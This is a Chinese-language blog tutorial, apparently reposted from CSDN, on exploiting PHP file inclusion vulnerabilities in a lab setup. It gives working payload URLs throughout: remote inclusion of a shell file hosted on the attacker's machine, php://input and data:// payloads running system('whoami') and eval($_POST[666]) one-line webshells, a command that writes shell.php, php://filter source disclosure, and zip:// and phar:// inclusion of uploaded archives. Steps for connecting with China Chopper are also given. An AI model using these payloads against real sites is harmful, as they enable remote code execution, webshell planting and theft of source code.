文件包含漏洞——实例

一、文件包含漏洞利用之本地包含配合文件上传包含图片马

原理:

文件上传漏洞在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片马。
制作图片马的方式有很多,常见的有两种:

  • 在图片后写入脚本代码
  • 在cmd中使用命令 copy 1.jpg/b+1.php/a 2.jpg
参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件

1、制作图片马,准备一个PHP脚本和一张图片

2、访问在浏览器中访问靶机:http://ip/up/up.html

3、上传图片马,图片马成功上传

4、访问http://ip/up/upload/info.jpg,上传的脚本文件不能解析,因为图片马需要配合文件包含漏洞或者解析漏洞

5、访问http://ip/include/include.php?page=../up/upload/info.jpg,包含图片马,图片马成功解析

 可以把脚本改成一句话木马,与菜刀连用,入侵靶机


二、文件包含漏洞利用之远程包含Webshell

原理:

本地包含只能包含目标服务器本地已有的文件,若目标服务器本地不存在木马文件,则无法利用。因此可以借助远程文件包含漏洞,在操作机本地搭建Web服务器,远程包含木马文件Getshell。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、打开"phpStudy",启动操作机的Apache服务

3、在操作机的Web根目录下新建shell.txt文件

4、在浏览器中访问http://目标机ip/include.php?page=http://操作机ip/shell.txt,并发送post数据测试一句话木马可以解析

 

5、利用中国菜刀,在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP

6、点击“添加”,双击一句话木马地址

 注:在无其他漏洞,只有文件包含漏洞,且目标服务器本地无shell文件可利用,又可以远程文件包含时,可以在攻击机本地新建一个一句话木马文件(比如:shell.txt,不要以.php的文件存在,因为php文件在操作机本地会被解析),然后远程包含攻击机本地新建的木马文件,从而Getshell。


三、PHP封装伪协议之php流input

原理:

PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:


利用php流input中流的概念,将原来的文件流重定向到了用户可控的输入流中执行命令。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、访问http://ip/include/include.php?page=php://input

3、勾选"Post data",在提交post数据的位置输入"<?php phpinfo();?>",并发送数据执行

4、发送"<?php system(‘dir’);?>"数据执行系统命令

5、发送"<?php system(‘whoami’);?>"数据执行系统命令

6、发送"<?php fputs(fopen(‘shell.php’,‘w’),’<?php phpinfo();?>’);?>"数据执行,生成shell脚本文件

7、访问http://ip/include/include.php?page=shell.php

注:利用PHP封装伪协议中的php流input,发送POST数据(可利用火狐的插件,也可以利用Burp Suite抓包修改数据包)进行命令执行,可以执行操作系统命令,也可以在服务器端生成木马文件,用Webshell管理工具连接木马文件。


四、PHP封装伪协议之php流filter

原理: 利用php流的filter,指定末尾的文件,可以读取经过base64编码后的文件源码,再base64解码,可以读取文件源码。获取敏感信息。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、访问http://ip/include/include.php?page=php://filter/read=convert.base64-encode/resource=include.php

3、复制读取到的base64编码后的源码,借助火狐插件的base64解码功能(或者base64解码工具)

4、点击"确定",进行base64解码,可以读取指定文件的源码

注:利用PHP封装伪协议中的php流filter,指定末尾的文件,可以读取经过base64编码后的文件源码,再base64解码,可以读取文件源码。也可以利用?page=php://filter/convert.base64-encode/resource=index.php
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。虽然不能直接获取shell,但是读取敏感文件也是有很大危害的。


五、PHP封装伪协议之zip流

原理:利用zip流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。

1、新建info.txt文件

2、对info.txt文件进行zip压缩

3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html

4、点击“选择文件”按钮,选中要上传的文件

5、点击“submit”按钮,上传info.zip文件

6、访问http://ip/include/include.php

7、访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息,从而得到上传脚本的绝对路径

8、访问http://ip/include/include.php?page=zip://C:/server/apache22/htdocs/up/upload/info.zip%23info.txt

注:利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用zip协议需要指定绝对路径,使用相对路径会包含失败;同时将#编码为%23。


六、PHP封装伪协议之data流

原理:利用PHP封装伪协议中data数据流,通过文件包含漏洞进行命令执行。

1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、访问http://ip/include/include.php?page=data://text/plain,<?php phpinfo();?>,代码执行

3、也可以:将代码进行base64编码,访问http://ip/include/include.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

4、访问http://ip/include/include.php?page=data://text/plain,<?php system(‘whoami’);?>,系统命令执行

5、访问http://ip/include/include.php?page=data://text/plain,<?php @eval($_POST[666]);?>,执行一句话木马

6、打开菜刀,在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP

7、点击“添加”,双击一句话木马地址

注:利用PHP封装伪协议中的data流,进行代码执行和系统命令执行,也可以对代码进行base64编码,同样可以执行一句话木马,从而Getshell。


七、PHP封装伪协议之phar流

跟zip流相似,但是路径相对跟绝对都行

原理:利用phar流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。

1、新建info.txt文件

2、对info.txt文件进行zip压缩

3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html

4、点击“选择文件”按钮,选中要上传的文件

5、点击“submit”按钮,上传info.zip文件

6、访问http://ip/include/include.php

7、访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息,从而得到上传脚本的绝对路径

8、访问http://ip/include/include.php?page=phar://C:/server/apache22/htdocs/up/upload/info.zip/info.txt或者http://ip/include/include.php?page=phar://…/up/upload/info.zip/info.txt

注:利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用phar流绝对路径和相对路径都可以。

php流的用法表


这篇文章就写到这里了!

猜你喜欢

转载自blog.csdn.net/weixin_54055099/article/details/127027004
今日推荐